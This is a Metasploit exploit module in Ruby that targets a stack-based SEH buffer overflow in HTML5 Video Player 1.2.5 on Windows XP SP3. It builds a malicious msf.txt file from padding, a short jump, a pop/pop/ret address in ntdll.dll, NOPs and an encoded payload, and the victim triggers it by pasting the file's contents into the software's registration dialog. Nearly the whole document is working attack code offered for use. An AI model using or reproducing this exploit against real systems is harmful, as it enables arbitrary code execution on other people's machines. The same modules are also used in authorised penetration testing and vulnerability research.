##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'HTML5 Video Player 1.2.5 - Buffer Overflow (SEH)',
      'Description'  => %q{
          This module exploits a stack based buffer overflow in HTML5 Video Player 1.2.5 , when
          with the name "msf.txt". 1.file with the name "msf.txt" and copy content to clipboard ,2.Open software, click Help > Register and paste "Username" click "OK".
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [ 
          'T3jv1l',                       # Original discovery
          'Kagan Capar',                  # Original discovery
          'd3ckx1 d3ck(at)qq.com',       # MSF module
        ],
      'References'  =>
        [
          [ 'OSVDB', '' ],
          [ 'EBD', '45888' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'  => 'win',
      'Payload'   =>
        {
          'BadChars'    => "\x00\x0a\x0d\x1a",
          'DisableNops' => true,
          'Space'       => 4000
        },
      'Targets'   =>
        [
          [ 'HTML Video Player 1.2.5',
            {
              'Ret'     =>  0x7C901931, # 0x7C901931 : P/P/R FROM ntdll.dll form winxp sp3
              'Offset'  =>  1984
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Nov 22 2018',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.txt']),], self.class)

  end

  def exploit
    buf = "\x41"*(target['Offset'])
    buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)
    buf << [target.ret] .pack('V')  # seh
    buf << make_nops(30)
    buf << payload.encoded
    buf << "\x90" * 300

    file_create(buf)
    handler
    
  end
end